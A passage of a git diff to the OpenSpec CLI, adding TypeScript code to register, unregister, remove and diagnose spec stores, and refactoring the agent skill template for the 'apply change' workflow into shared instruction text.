+ + throw error; + } +} + +export async function setupStore( + input: SetupStoreInput +): Promise<StoreMutationResult> { + return setupPreparedStore(await prepareStoreSetup(input), { + initGit: input.initGit, + }); +} + +export async function registerExistingStore( + input: RegisterExistingStoreInput +): Promise<StoreMutationResult> { + const storeRoot = resolveRegisterRoot(input.path); + const kind = await pathKind(storeRoot); + + if (kind === 'missing') { + throw new StoreError( + `Store path does not exist: ${storeRoot}`, + 'store_path_missing', + { + target: 'store.root', + fix: 'Clone or create the store folder before registering it.', + } + ); + } + + if (kind !== 'directory') { + throw new StoreError( + `Store path is not a directory: ${storeRoot}`, + 'store_path_not_directory', + { + target: 'store.root', + fix: 'Pass an existing store directory.', + } + ); + } + + assertNotConfigOnlyPointerRoot(storeRoot); + const openspecRoot = await inspectOpenSpecRoot(storeRoot); + if (!openspecRoot.healthy) { + const problems = + openspecRoot.diagnostics.map((diagnostic) => diagnostic.message).join(' ') || + 'The OpenSpec root is missing or incomplete.'; + const isEmptyCloneSuspect = + (await isGitRepositoryAtRoot(storeRoot)) && + (await gitHasCommits(storeRoot)) === false; + const emptyCloneHint = isEmptyCloneSuspect + ? ' This folder is a Git repository with no commits — if it is a clone, the origin store needs an initial commit before the clone has any files.' + : ''; + + throw new StoreError( + `Store register requires an existing healthy OpenSpec root. ${problems}${emptyCloneHint}`, + 'store_register_root_unhealthy', + { + target: 'openspec.root', + fix: isEmptyCloneSuspect + ? 'If this is a store clone: commit and push the origin store, pull it into this clone, then rerun register.' + : 'Run openspec store setup for a new store, or point register at a checkout whose openspec/ files are present.', + } + ); + } + + const metadata = await readStoreMetadataForOperation(storeRoot); + const explicitId = input.id !== undefined ? validateStoreId(input.id) : undefined; + + if (metadata && explicitId !== undefined && metadata.id !== explicitId) { + // The fix must account for whether the metadata id is already registered, + // so following it never lands on the already-registered error. + const currentRegistry = await readStoreRegistryState(); + const registeredElsewhere = + currentRegistry?.stores?.[metadata.id] !== undefined && + !isRegisteredAtPath(currentRegistry, metadata.id, storeRoot); + + throw new StoreError( + `Store metadata id '${metadata.id}' does not match --id '${explicitId}'. The id comes from the store's committed .openspec-store/store.yaml.`, + 'store_metadata_id_mismatch', + { + target: 'store.id', + fix: registeredElsewhere + ? `One checkout per store id is supported, and '${metadata.id}' is already registered. Run openspec store unregister ${metadata.id} first to register this checkout instead.` + : `Use --id ${metadata.id} or register a different folder.`, + } + ); + } + + const id = metadata?.id ?? explicitId ?? inferStoreIdFromPath(storeRoot); + if (!metadata && !input.allowCreateIdentity) { + throw new StoreError( + `Turn this OpenSpec root into store '${id}'?`, + 'store_register_identity_confirmation_required', + { + target: 'store.metadata', + fix: `Run interactively or pass --yes to create ${getStoreMetadataPath(storeRoot)}.`, + } + ); + } + + const backend = await resolveBackendWithObservedOrigin(storeRoot); + const registry = await readStoreRegistryState(); + assertNoRegisteredStoreConflict(registry, id, backend); + const createdFiles: string[] = []; + const isRepository = await isGitRepositoryAtRoot(storeRoot); + + const registered = await commitStoreRegistration({ + id, + backend, + writeMetadataIfMissing: true, + }); + if (registered.metadataCreated) { + createdFiles.push('.openspec-store/store.yaml'); + } + const diagnostics = registered.alreadyRegistered && createdFiles.length === 0 + ? [alreadyRegisteredDiagnostic(id)] + : []; + + // Register never commits; converted roots are the user's repo to commit. + return mutationPayload(id, registered.storeRoot, { + isRepository, + initialized: false, + committed: false, + }, createdFiles, { + registered: registered.registryUpdated, + alreadyRegistered: registered.alreadyRegistered, + }, diagnostics, { + ...(metadata?.remote ? { canonical: metadata.remote } : {}), + ...(backend.remote ? { observed: backend.remote } : {}), + }); +} + +function cleanupStoreOutput(id: string, storeRoot: string): StoreInfo { + return { + id, + root: storeRoot, + metadataPath: getStoreMetadataPath(storeRoot), + }; +} + +export async function prepareStoreCleanup( + input: CleanupStoreInput +): Promise<PreparedStoreCleanup> { + const id = validateStoreId(input.id); + const entry = await getRegisteredStore({ + id, + globalDataDir: input.globalDataDir, + }); + + return { + ...cleanupStoreOutput(entry.id, entry.storeRoot), + backend: entry.backend, + ...(input.globalDataDir ? { globalDataDir: input.globalDataDir } : {}), + }; +} + +export async function unregisterStore( + input: CleanupStoreInput +): Promise<StoreCleanupResult> { + const target = await prepareStoreCleanup(input); + const removed = await unregisterStoreRegistration({ + id: target.id, + expectedBackend: target.backend, + globalDataDir: target.globalDataDir, + }); + + return { + store: cleanupStoreOutput(removed.id, removed.storeRoot), + registryCommit: { + path: getStoreRegistryPath({ globalDataDir: target.globalDataDir }), + removed: true, + }, + files: { + deleted: false, + leftOnDisk: removed.storeRoot, + }, + diagnostics: [], + }; +} + +async function assertSafeToDeleteStoreRoot(storeRoot: string, id: string): Promise<{ + exists: boolean; +}> { + const kind = await pathKind(storeRoot); + + if (kind === 'missing') { + return { exists: false }; + } + + if (kind !== 'directory') { + throw new StoreError( + `Store path is not a directory: ${storeRoot}`, + 'store_remove_path_not_directory', + { + target: 'store.root', + fix: 'Run "openspec store unregister <id>" if you only want to forget this local registry entry.', + } + ); + } + + const metadata = await readStoreMetadataForOperation(storeRoot); + if (!metadata) { + throw new StoreError( + 'Store remove refuses to delete a folder without store metadata.', + 'store_remove_metadata_missing', + { + target: 'store.metadata', + fix: 'Run "openspec store unregister <id>" if you only want to forget this local registry entry.', + } + ); + } + + if (metadata.id !== id) { + throw new StoreError( + `Store metadata id '${metadata.id}' does not match requested id '${id}'.`, + 'store_metadata_id_mismatch', + { + target: 'store.metadata', + fix: 'Repair the registry or run store unregister instead of deleting this folder.', + } + ); + } + + return { exists: true }; +} + +export async function removeStore( + target: PreparedStoreCleanup +): Promise<StoreCleanupResult> { + const id = validateStoreId(target.id); + const diagnostics: StoreDiagnostic[] = []; + let deleted = false; + + // Order matters: the registry entry goes first, the files second. A + // failed file deletion leaves recoverable orphan files; the reverse + // order would leave a phantom registration pointing at nothing. + let rootMissing = false; + const removed = await unregisterStoreRegistration({ + id, + expectedBackend: target.backend, + globalDataDir: target.globalDataDir, + beforeCommit: async (entry) => { + const safeTarget = await assertSafeToDeleteStoreRoot(entry.storeRoot, id); + rootMissing = !safeTarget.exists; + }, + }); + + if (rootMissing) { + diagnostics.push(makeStoreDiagnostic( + 'warning', + 'store_root_missing', + 'Store files were already missing.', + { + target: 'store.root', + } + )); + } else { + try { + await fs.rm(removed.storeRoot, { recursive: true, force: true }); + deleted = true; + } catch (error) { + diagnostics.push(makeStoreDiagnostic( + 'warning', + 'store_files_left_on_disk', + `The registration was removed, but deleting ${removed.storeRoot} failed (${(error as Error).message}).`, + { + target: 'store.root', + fix: `Delete the folder manually: ${removed.storeRoot}`, + } + )); + } + } + + return { + store: cleanupStoreOutput(removed.id, removed.storeRoot), + registryCommit: { + path: getStoreRegistryPath({ globalDataDir: target.globalDataDir }), + removed: true, + }, + files: { + deleted, + ...(deleted ? { deletedPath: removed.storeRoot } : {}), + }, + diagnostics, + }; +} + +export async function listStores(): Promise<StoreListResult> { + const entries = await listRegisteredStores(); + + return { + stores: entries.map((entry) => ({ + id: entry.id, + root: entry.storeRoot, + })), + }; +} + +function doctorStatusForError( + error: unknown, + code: string, + target: string, + fix?: string +): StoreDiagnostic { + if (error instanceof StoreError) { + return error.diagnostic; + } + + return makeStoreDiagnostic( + 'error', + code, + error instanceof Error ? error.message : String(error), + { + target, + ...(fix ? { fix } : {}), + } + ); +} + +async function inspectStore(entry: { + id: string; + backend: StoreGitBackendConfig; +}): Promise<StoreInspection> { + const root = getStoreRootForBackend(entry.backend); + const metadataPath = getStoreMetadataPath(root); + const diagnostics: StoreDiagnostic[] = []; + const kind = await pathKind(root); + let metadata: StoreInspection['metadata'] = { + present: null, + valid: null, + remote: null, + }; + let git: StoreInspection['git'] = { + isRepository: null, + hasCommits: null, + hasUncommittedChanges: null, + hasRemote: null, + originUrl: null, + }; + let openspecRoot: OpenSpecRootInspection = await inspectOpenSpecRoot(root); + + if (kind === 'missing') { + diagnostics.push(makeStoreDiagnostic( + 'error', + 'store_root_missing', + 'Store location does not exist.', + { + target: 'store.root', + fix: `Run openspec store register /path/to/${entry.id} --id ${entry.id}.`, + } + )); + } else if (kind !== 'directory') { + diagnostics.push(makeStoreDiagnostic( + 'error', + 'store_root_not_directory', + 'Store location is not a directory.', + { + target: 'store.root', + fix: 'Register a directory path for this store.', + } + )); + } else { + openspecRoot = await inspectOpenSpecRoot(root); + diagnostics.push(...openspecRoot.diagnostics); + + try { + const parsed = await readOptionalStoreMetadataState(root); + if (!parsed) { + metadata = { present: false, valid: false, remote: null }; + diagnostics.push(makeStoreDiagnostic( + 'error', + 'store_metadata_missing', + 'Store metadata is missing.', + { + target: 'store.metadata', + fix: `Create ${metadataPath} or rerun store register.`, + } + )); + } else if (parsed.id !== entry.id) { + metadata = { present: true, valid: false, id: parsed.id, remote: null }; + diagnostics.push(makeStoreDiagnostic( + 'error', + 'store_metadata_id_mismatch', + `Store metadata id '${parsed.id}' does not match registry id '${entry.id}'.`, + { + target: 'store.metadata', + fix: 'Repair the local registry or store metadata so the ids match.', + } + )); + } else { + metadata = { + present: true, + valid: true, + id: parsed.id, + remote: parsed.remote ?? null, + }; + } + } catch (error) { + metadata = { present: true, valid: false, remote: null }; + diagnostics.push(doctorStatusForError( + error, + 'store_metadata_invalid', + 'store.metadata', + `Repair ${metadataPath}.` + )); + } + + const isRepository = await isGitRepositoryAtRoot(root); + git = { + isRepository, + hasCommits: null, + hasUncommittedChanges: null, + hasRemote: null, + originUrl: null, + }; + + // Read-only Git facts; doctor reports and never repairs. + if (isRepository) { + git.hasCommits = await gitHasCommits(root); + git.hasUncommittedChanges = await gitHasUncommittedChanges(root); + git.hasRemote = await gitHasRemote(root); + git.originUrl = await gitOriginUrl(root); + + if (git.hasCommits === false) { + diagnostics.push(makeStoreDiagnostic( + 'warning', + 'store_git_no_commits', + 'Git repository has no commits yet; clones of this store will be empty until an initial commit exists.', + { + target: 'store.git', + fix: 'Commit the store files, then push to share them.', + } + )); + } else if (git.hasCommits === true) { + const fragileDirs: string[] = []; + for (const relativeDir of ANCHORED_OPENSPEC_DIRS) { + const dirKind = await pathKind(path.join(root, relativeDir)); + if (dirKind !== 'directory') continue; + if ((await gitDirectoryHasTrackedFiles(root, relativeDir)) === false) { + fragileDirs.push(`${relativeDir}/`); + } + } + + if (fragileDirs.length > 0) { + diagnostics.push(makeStoreDiagnostic( + 'warning', + 'store_clone_fragile_directories', + `These directories contain no tracked files and will be lost in clones: ${fragileDirs.join(', ')}.`, + { + target: 'store.git', + fix: `Track a file in each directory (for example ${DIRECTORY_ANCHOR_FILE_NAME}) and commit it.`, + } + )); + } + } + } + } + + return { + id: entry.id, + root, + metadataPath, + openspecRoot, + metadata, + git, + diagnostics, + }; +} + +export async function doctorStores(id?: string): Promise<StoreDoctorResult> { + const selectedId = id !== undefined ? validateStoreId(id) : undefined; + const registry = await readStoreRegistryState(); + + if (!registry) { + if (selectedId !== undefined) { + throw new StoreError(`Unknown store '${selectedId}'.`, 'store_not_found', { + target: 'store.id', + fix: 'Run openspec store list to see registered stores.', + }); + } + + return { stores: [], diagnostics: [] }; + } + + const entries = listStoreRegistryEntries(registry); + const selected = selectedId + ? entries.filter((entry) => entry.id === selectedId) + : entries; + + if (selectedId && selected.length === 0) { + throw new StoreError(`Unknown store '${selectedId}'.`, 'store_not_found', { + target: 'store.id', + fix: 'Run openspec store list to see registered stores.', + }); + } + + return { + stores: await Promise.all(selected.map(inspectStore)), + diagnostics: [], + }; +} + +export function normalizeStorePathForComparison(targetPath: string): string { + return FileSystemUtils.canonicalizeExistingPath(targetPath); +} diff --git a/src/core/store/registry.ts b/src/core/store/registry.ts new file mode 100644 index 0000000000..1bd03b6173 --- /dev/null +++ b/src/core/store/registry.ts @@ -0,0 +1,462 @@ +import * as fs from 'node:fs/promises'; + +import { + getStoreMetadataPath, + getStoreMetadataDir, + listStoreRegistryEntries, + readStoreRegistryState, + readOptionalStoreMetadataState, + resolveGitStoreBackendConfig, + updateStoreRegistryState, + validateStoreId, + writeStoreMetadataState, + type StoreBackendConfig, + type StoreGitBackendConfig, + type StorePathOptions, + type StoreRegistryEntry, + type StoreRegistryState, +} from './foundation.js'; +import { StoreError } from './errors.js'; +import * as path from 'node:path'; +import { FileSystemUtils } from '../../utils/file-system.js'; + +export interface RegisterStoreInput extends StorePathOptions { + id: string; + localPath: string; + remote?: string; + branch?: string; + cwd?: string; +} + +export interface ResolveRegisteredStoreInput extends StorePathOptions { + id: string; +} + +export interface GetRegisteredStoreInput extends ResolveRegisteredStoreInput { + expectedBackend?: StoreGitBackendConfig; +} + +export interface UnregisterStoreInput extends StorePathOptions { + id: string; + expectedBackend?: StoreGitBackendConfig; + beforeCommit?: (entry: RegisteredStoreEntry) => Promise<void>; +} + +export type ListRegisteredStoresOptions = StorePathOptions; + +export interface RegisteredStoreEntry extends StoreRegistryEntry { + storeRoot: string; +} + +export interface ResolvedStore { + id: string; + storeRoot: string; + backend: StoreGitBackendConfig; +} + +export interface StoreRegistrationCommit extends ResolvedStore { + metadataCreated: boolean; + registryUpdated: boolean; + alreadyRegistered: boolean; +} + +export interface CommitStoreRegistrationInput extends StorePathOptions { + id: string; + backend: StoreGitBackendConfig; + writeMetadataIfMissing: boolean; +} + +export function getStoreRootForBackend(backend: StoreBackendConfig): string { + switch (backend.type) { + case 'git': + return backend.local_path; + } +} + +function normalizePathForComparison(targetPath: string): string { + try { + return FileSystemUtils.canonicalizeExistingPath(targetPath); + } catch { + // Nonexistent (e.g. stale) paths still deserve a resolved compare; + // aligns with the operations.ts sibling fallback. + return path.resolve(targetPath); + } +} + +export function assertNoRegisteredStoreConflict( + registry: StoreRegistryState | null, + id: string, + backend: StoreGitBackendConfig +): void { + const nextPath = normalizePathForComparison(getStoreRootForBackend(backend)); + + for (const entry of listStoreRegistryEntries(registry ?? { version: 1, stores: {} })) { + const entryPath = normalizePathForComparison(getStoreRootForBackend(entry.backend)); + + if (entry.id === id && entryPath === nextPath) { + continue; + } + + if (entry.id === id) { + throw new StoreError( + `Store '${id}' is already registered at ${getStoreRootForBackend(entry.backend)}. One checkout per store id is supported on this machine.`, + 'store_id_conflict', + { + target: 'store.id', + fix: `Use the existing registration, or run openspec store unregister ${id} first to switch this id to a different checkout.`, + } + ); + } + + if (entryPath === nextPath) { + throw new StoreError( + `Store path is already registered as '${entry.id}'.`, + 'store_path_conflict', + { + target: 'store.root', + fix: `Use the existing '${entry.id}' registration or choose a different path.`, + } + ); + } + } +} + +function withRegisteredStore( + registry: StoreRegistryState | null, + id: string, + backend: StoreGitBackendConfig +): StoreRegistryState { + assertNoRegisteredStoreConflict(registry, id, backend); + + const stores = { + ...(registry?.stores ?? {}), + [id]: { + backend, + }, + }; + + return { + version: 1, + stores: Object.fromEntries( + Object.entries(stores).sort(([leftId], [rightId]) => leftId.localeCompare(rightId)) + ), + }; +} + +function getRegisteredStoreOrThrow( + registry: StoreRegistryState | null, + id: string +): StoreRegistryEntry { + const entry = registry?.stores[id]; + if (!entry) { + throw new StoreError(`Unknown store '${id}'`, 'store_not_found', { + target: 'store.id', + fix: 'Run openspec store list to see registered stores.', + }); + } + + return { + id, + backend: entry.backend, + }; +} + +/** Same checkout: type, canonical path, and branch — remote excluded. */ +function sameCheckout( + actual: StoreGitBackendConfig, + expected: StoreGitBackendConfig +): boolean { + return ( + actual.type === expected.type && + normalizePathForComparison(actual.local_path) === + normalizePathForComparison(expected.local_path) && + actual.branch === expected.branch + ); +} + +function storeBackendsMatch( + actual: StoreGitBackendConfig, + expected: StoreGitBackendConfig +): boolean { + return sameCheckout(actual, expected) && actual.remote === expected.remote; +} + +function assertExpectedRegisteredBackend( + id: string, + actual: StoreGitBackendConfig, + expected: StoreGitBackendConfig | undefined +): void { + if (!expected || storeBackendsMatch(actual, expected)) return; + + throw new StoreError( + `Store '${id}' changed before cleanup completed.`, + 'store_registry_changed', + { + target: 'store.registry', + fix: 'Retry the cleanup command after reviewing the current store registration.', + } + ); +} + +function withoutRegisteredStore( + registry: StoreRegistryState | null, + id: string, + expectedBackend?: StoreGitBackendConfig +): { next: StoreRegistryState; removed: StoreRegistryEntry } { + const removed = getRegisteredStoreOrThrow(registry, id); + assertExpectedRegisteredBackend(id, removed.backend, expectedBackend); + const stores = { ...(registry?.stores ?? {}) }; + delete stores[id]; + + return { + removed, + next: { + version: 1, + stores: Object.fromEntries( + Object.entries(stores).sort(([leftId], [rightId]) => leftId.localeCompare(rightId)) + ), + }, + }; +} + +async function ensureStoreMetadata( + storeRoot: string, + id: string, + options: { writeIfMissing: boolean } +): Promise<boolean> { + const metadata = await readOptionalStoreMetadataState(storeRoot); + + if (!metadata) { + if (!options.writeIfMissing) { + throw new StoreError( + `Registered store '${id}' is missing metadata at ${getStoreMetadataPath(storeRoot)}`, + 'store_metadata_missing', + { + target: 'store.metadata', + fix: `Create ${getStoreMetadataPath(storeRoot)} or rerun "openspec store register <path>".`, + } + ); + } + + await writeStoreMetadataState(storeRoot, { + version: 1, + id, + }); + return true; + } + + if (metadata.id !== id) { + throw new StoreError( + `Store metadata id '${metadata.id}' does not match registered id '${id}'`, + 'store_metadata_id_mismatch', + { + target: 'store.metadata', + fix: 'Repair the local registry or store metadata so the ids match.', + } + ); + } + + return false; +} + +export async function commitStoreRegistration( + input: CommitStoreRegistrationInput +): Promise<StoreRegistrationCommit> { + const id = validateStoreId(input.id); + const backend = input.backend; + const storeRoot = getStoreRootForBackend(backend); + + let metadataCreated = false; + let isRerun = false; + let registryUpdated = false; + + try { + metadataCreated = await ensureStoreMetadata(storeRoot, id, { + writeIfMissing: input.writeMetadataIfMissing, + }); + const registry = await readStoreRegistryState({ + globalDataDir: input.globalDataDir, + }); + const existing = registry?.stores[id]; + const existingBackend = existing?.backend as StoreGitBackendConfig | undefined; + // Same checkout = a rerun for an already-registered store (the 1.3 + // reporting contract), whether or not the observed remote changed; + // only a remote change needs the registry write (the refresh). + isRerun = existingBackend !== undefined && sameCheckout(existingBackend, backend); + const upToDate = + isRerun && existingBackend !== undefined && storeBackendsMatch(existingBackend, backend); + + if (!upToDate) { + await updateStoreRegistryState( + (registry) => withRegisteredStore(registry, id, backend), + { globalDataDir: input.globalDataDir } + ); + registryUpdated = true; + } + } catch (error) { + if (metadataCreated) { + // A concurrent registration may have read our metadata as + // pre-existing and committed against it - never delete metadata a + // committed registry entry depends on. + const current = await readStoreRegistryState({ + globalDataDir: input.globalDataDir, + }).catch(() => null); + if (!current?.stores[id]) { + await fs.rm(getStoreMetadataPath(storeRoot), { force: true }); + await fs.rmdir(getStoreMetadataDir(storeRoot)).catch(() => undefined); + } + } + + throw error; + } + + return { + id, + storeRoot, + backend, + metadataCreated, + registryUpdated, + alreadyRegistered: isRerun, + }; +} + +export async function registerStore( + input: RegisterStoreInput +): Promise<ResolvedStore> { + const id = validateStoreId(input.id); + const backend = await resolveGitStoreBackendConfig( + { + localPath: input.localPath, + ...(input.remote !== undefined ? { remote: input.remote } : {}), + ...(input.branch !== undefined ? { branch: input.branch } : {}), + }, + input.cwd + ); + const storeRoot = getStoreRootForBackend(backend); + + const committed = await commitStoreRegistration({ + id, + backend, + writeMetadataIfMissing: true, + ...(input.globalDataDir ? { globalDataDir: input.globalDataDir } : {}), + }); + return { + id: committed.id, + storeRoot: committed.storeRoot, + backend: committed.backend, + }; +} + +export interface RegistrySnapshot { + /** null = the registry is unreadable; [] = empty or absent. */ + entries: StoreRegistryEntry[] | null; + unreadable: boolean; +} + +/** + * One registry read serving every consumer in a command. + */ +export async function readRegistrySnapshot( + options: { globalDataDir?: string } = {} +): Promise<RegistrySnapshot> { + try { + const registry = await readStoreRegistryState(options); + return { + entries: registry ? listStoreRegistryEntries(registry) : [], + unreadable: false, + }; + } catch { + return { entries: null, unreadable: true }; + } +} + +export async function listRegisteredStores( + options: ListRegisteredStoresOptions = {} +): Promise<RegisteredStoreEntry[]> { + const registry = await readStoreRegistryState(options); + + if (!registry) { + return []; + } + + return listStoreRegistryEntries(registry).map((entry) => ({ + ...entry, + storeRoot: getStoreRootForBackend(entry.backend), + })); +} + +export async function getRegisteredStore( + input: GetRegisteredStoreInput +): Promise<RegisteredStoreEntry> { + const id = validateStoreId(input.id); + const registry = await readStoreRegistryState({ + globalDataDir: input.globalDataDir, + }); + const entry = getRegisteredStoreOrThrow(registry, id); + assertExpectedRegisteredBackend(id, entry.backend, input.expectedBackend); + + return { + ...entry, + storeRoot: getStoreRootForBackend(entry.backend), + }; +} + +export async function unregisterStoreRegistration( + input: UnregisterStoreInput +): Promise<RegisteredStoreEntry> { + const id = validateStoreId(input.id); + let removed: StoreRegistryEntry | undefined; + + await updateStoreRegistryState( + async (registry) => { + const result = withoutRegisteredStore(registry, id, input.expectedBackend); + const removedEntry = { + ...result.removed, + storeRoot: getStoreRootForBackend(result.removed.backend), + }; + await input.beforeCommit?.(removedEntry); + removed = result.removed; + return result.next; + }, + { globalDataDir: input.globalDataDir } + ); + + if (!removed) { + throw new StoreError(`Unknown store '${id}'`, 'store_not_found', { + target: 'store.id', + fix: 'Run openspec store list to see registered stores.', + }); + } + + return { + ...removed, + storeRoot: getStoreRootForBackend(removed.backend), + }; +} + +export async function resolveRegisteredStore( + input: ResolveRegisteredStoreInput +): Promise<ResolvedStore> { + const id = validateStoreId(input.id); + const registry = await readStoreRegistryState({ + globalDataDir: input.globalDataDir, + }); + + if (!registry) { + throw new StoreError('No store registry found', 'no_store_registry', { + target: 'store.id', + fix: 'Register a store with openspec store register <path>, then select it with --store <id>.', + }); + } + + const entry = getRegisteredStoreOrThrow(registry, id); + const backend = entry.backend; + const storeRoot = getStoreRootForBackend(backend); + await ensureStoreMetadata(storeRoot, id, { writeIfMissing: false }); + + return { + id, + storeRoot, + backend, + }; +} diff --git a/src/core/templates/skill-templates.ts b/src/core/templates/skill-templates.ts index ff687d900a..041c0331c7 100644 --- a/src/core/templates/skill-templates.ts +++ b/src/core/templates/skill-templates.ts @@ -9,7 +9,8 @@ export type { SkillTemplate, CommandTemplate } from './types.js'; export { getExploreSkillTemplate, getOpsxExploreCommandTemplate } from './workflows/explore.js'; export { getNewChangeSkillTemplate, getOpsxNewCommandTemplate } from './workflows/new-change.js'; export { getContinueChangeSkillTemplate, getOpsxContinueCommandTemplate } from './workflows/continue-change.js'; -export { getApplyChangeSkillTemplate, getOpsxApplyCommandTemplate } from './workflows/apply-change.js'; +export { getApplyInstructions, getApplyChangeSkillTemplate, getOpsxApplyCommandTemplate } from './workflows/apply-change.js'; +export { getUpdateChangeSkillTemplate, getOpsxUpdateCommandTemplate } from './workflows/update-change.js'; export { getFfChangeSkillTemplate, getOpsxFfCommandTemplate } from './workflows/ff-change.js'; export { getSyncSpecsSkillTemplate, getOpsxSyncCommandTemplate } from './workflows/sync-specs.js'; export { getArchiveChangeSkillTemplate, getOpsxArchiveCommandTemplate } from './workflows/archive-change.js'; diff --git a/src/core/templates/workflows/apply-change.ts b/src/core/templates/workflows/apply-change.ts index be60210a7a..931f6e7b68 100644 --- a/src/core/templates/workflows/apply-change.ts +++ b/src/core/templates/workflows/apply-change.ts @@ -5,14 +5,23 @@ * templates file into workflow-focused modules. */ import type { SkillTemplate, CommandTemplate } from '../types.js'; +import { STORE_SELECTION_GUIDANCE } from './store-selection.js'; -export function getApplyChangeSkillTemplate(): SkillTemplate { - return { - name: 'openspec-apply-change', - description: 'Implement tasks from an OpenSpec change. Use when the user wants to start implementing, continue implementation, or work through tasks.', - instructions: `Implement tasks from an OpenSpec change. +/** + * The apply workflow instructions, authored once and rendered by both the + * skill and command surfaces. The surfaces are intentionally distinct, but + * they differ only in how they are invoked — the generation transformers + * rewrite the canonical `/opsx:<id>` tokens per surface downstream (see + * command-references.ts). The instruction text itself is shared, so the two + * cannot silently drift. Should a surface ever need genuinely different + * wording, add a parameter here and pass it from that surface's template. + */ +export function getApplyInstructions(): string { + return `Implement tasks from an OpenSpec change. + +${STORE_SELECTION_GUIDANCE} -**Input**: Optionally specify a change name. If omitted, check if it can be inferred from conversation context. If vague or ambiguous you MUST prompt for available changes. +**Input**: Optionally specify a change name (e.g., \`/opsx:apply add-auth\`). If omitted, check if it can be inferred from conversation context. If vague or ambiguous you MUST prompt for available changes. **Steps** @@ -21,7 +30,7 @@ export function getApplyChangeSkillTemplate(): SkillTemplate { If a name is provided, use it. Otherwise: - Infer from conversation context if the user mentioned a change - Auto-select if only one active change exists - - If ambiguous, run \`openspec list --json\` to get available changes and use the **AskUserQuestion tool** to let the user select + - If ambiguous, run \`openspec list --json\` to get available changes and ask the user to select one Always announce: "Using change: <name>" and how to override (e.g., \`/opsx:apply <other>\`). @@ -31,6 +40,7 @@ export function getApplyChangeSkillTemplate(): SkillTemplate { \`\`\` Parse the JSON to understand: - \`schemaName\`: The workflow being used (e.g., "spec-driven") + - \`planningHome\`, \`changeRoot\`, and \`actionContext\`: planning scope and edit constraints - Which artifact contains the tasks (typically "tasks" for spec-driven, check status for others) 3. **Get apply instructions** @@ -44,12 +54,29 @@ export function getApplyChangeSkillTemplate(): SkillTemplate { - Progress (total, complete, remaining) - Task list with status - Dynamic instruction based on current state + - Optional \`context\`: current required project instruction input from the selected root + - Optional \`operationGuidance\`: current advisory guidance for apply **Handle states:** - - If \`state: "blocked"\` (missing artifacts): show message, suggest using openspec-continue-change + - If \`state: "blocked"\` (missing artifacts): show message, suggest using \`/opsx:continue\` (if it is not installed, run \`openspec status --change "<name>" --json\` to see the next artifact and \`openspec instructions <artifact-id> --change "<name>" --json\` for how to create it) - If \`state: "all_done"\`: congratulate, suggest archive - Otherwise: proceed to implementation + Treat \`context\` as a required prompt-level input. Read and consider it, and + apply relevant project facts, conventions, and constraints while implementing. + Treat \`operationGuidance\` as optional additive advice. Read and consider every + entry, and follow entries that are applicable and compatible with the built-in + workflow. + + Keep both fields separate from CLI-returned state, missing artifacts, tasks, + progress, \`contextFiles\`, and the built-in \`instruction\`. They are not + evidence of task completion, do not replace the built-in instruction, and do + not permit bypassing a blocked state. If context conflicts with the built-in + instruction, an explicit user choice, or a CLI-controlled value, report the + conflict and preserve the controlling value. If guidance is inapplicable or + conflicts with those controlling inputs, do not follow it and explain why. + These are prompt-level behavior contracts, not enforceable checks. + 4. **Read context files** Read every file path listed under \`contextFiles\` from the apply instructions output. @@ -57,6 +84,9 @@ export function getApplyChangeSkillTemplate(): SkillTemplate { - **spec-driven**: proposal, specs, design, tasks - Other schemas: follow the contextFiles from CLI output + Do not copy \`context\` or \`operationGuidance\` verbatim into implementation + files or planning artifacts unless the user separately asks for that content. + 5. **Show current progress** Display: @@ -116,7 +146,7 @@ Working on task 4/7: <task description> - [x] Task 2 ... -All tasks complete! Ready to archive this change. +All tasks complete! You can archive this change with \`/opsx:archive\`. \`\`\` **Output On Pause (Issue Encountered)** @@ -148,13 +178,25 @@ What would you like to do? - Update task checkbox immediately after completing each task - Pause on errors, blockers, or unclear requirements - don't guess - Use contextFiles from CLI output, don't assume specific file names +- Do not use context or operation guidance as proof that a task is complete +- Apply relevant project context; report conflicts with controlling workflow inputs +- Consider every guidance entry; explain any inapplicable or conflicting advice +- Do not copy runtime context or operation guidance into implementation files or planning artifacts +- Preserve CLI-controlled blocked/ready/all-done behavior and completion criteria **Fluid Workflow Integration** This skill supports the "actions on a change" model: - **Can be invoked anytime**: Before all artifacts are done (if tasks exist), after partial implementation, interleaved with other actions -- **Allows artifact updates**: If implementation reveals design issues, suggest updating artifacts - not phase-locked, work fluidly`, +- **Allows artifact updates**: If implementation reveals design issues, suggest updating artifacts - not phase-locked, work fluidly`; +} + +export function getApplyChangeSkillTemplate(): SkillTemplate { + return { + name: 'openspec-apply-change', + description: 'Implement tasks from an OpenSpec change. Use when the user wants to start implementing, continue implementation, or work through tasks.', + instructions: getApplyInstructions(), license: 'MIT', compatibility: 'Requires openspec CLI.', metadata: { author: 'openspec', version: '1.0' }, @@ -167,150 +209,6 @@ export function getOpsxApplyCommandTemplate(): CommandTemplate { description: 'Implement tasks from an OpenSpec change (Experimental)', category: 'Workflow', tags: ['workflow', 'artifacts', 'experimental'], - content: `Implement tasks from an OpenSpec change. - -**Input**: Optionally specify a change name (e.g., \`/opsx:apply add-auth\`). If omitted, check if it can be inferred from conversation context. If vague or ambiguous you MUST prompt for available changes. - -**Steps** - -1. **Select the change** - - If a name is provided, use it. Otherwise: - - Infer from conversation context if the user mentioned a change - - Auto-select if only one active change exists - - If ambiguous, run \`openspec list --json\` to get available changes and use the **AskUserQuestion tool** to let the user select - - Always announce: "Using change: <name>" and how to override (e.g., \`/opsx:apply <other>\`). - -2. **Check status to understand the schema** - \`\`\`bash - openspec status --change "<name>" --json - \`\`\` - Parse the JSON to understand: - - \`schemaName\`: The workflow being used (e.g., "spec-driven") - - Which artifact contains the tasks (typically "tasks" for spec-driven, check status for others) - -3. **Get apply instructions** - - \`\`\`bash - openspec instructions apply --change "<name>" --json - \`\`\` - - This returns: - - \`contextFiles\`: artifact ID -> array of concrete file paths (varies by schema) - - Progress (total, complete, remaining) - - Task list with status - - Dynamic instruction based on current state - - **Handle states:** - - If \`state: "blocked"\` (missing artifacts): show message, suggest using \`/opsx:continue\` - - If \`state: "all_done"\`: congratulate, suggest archive - - Otherwise: proceed to implementation - -4. **Read context files** - - Read every file path listed under \`contextFiles\` from the apply instructions output. - The files depend on the schema being used: - - **spec-driven**: proposal, specs, design, tasks - - Other schemas: follow the contextFiles from CLI output - -5. **Show current progress** - - Display: - - Schema being used - - Progress: "N/M tasks complete" - - Remaining tasks overview - - Dynamic instruction from CLI - -6. **Implement tasks (loop until done or blocked)** - - For each pending task: - - Show which task is being worked on - - Make the code changes required - - Keep changes minimal and focused - - Mark task complete in the tasks file: \`- [ ]\` → \`- [x]\` - - Continue to next task - - **Pause if:** - - Task is 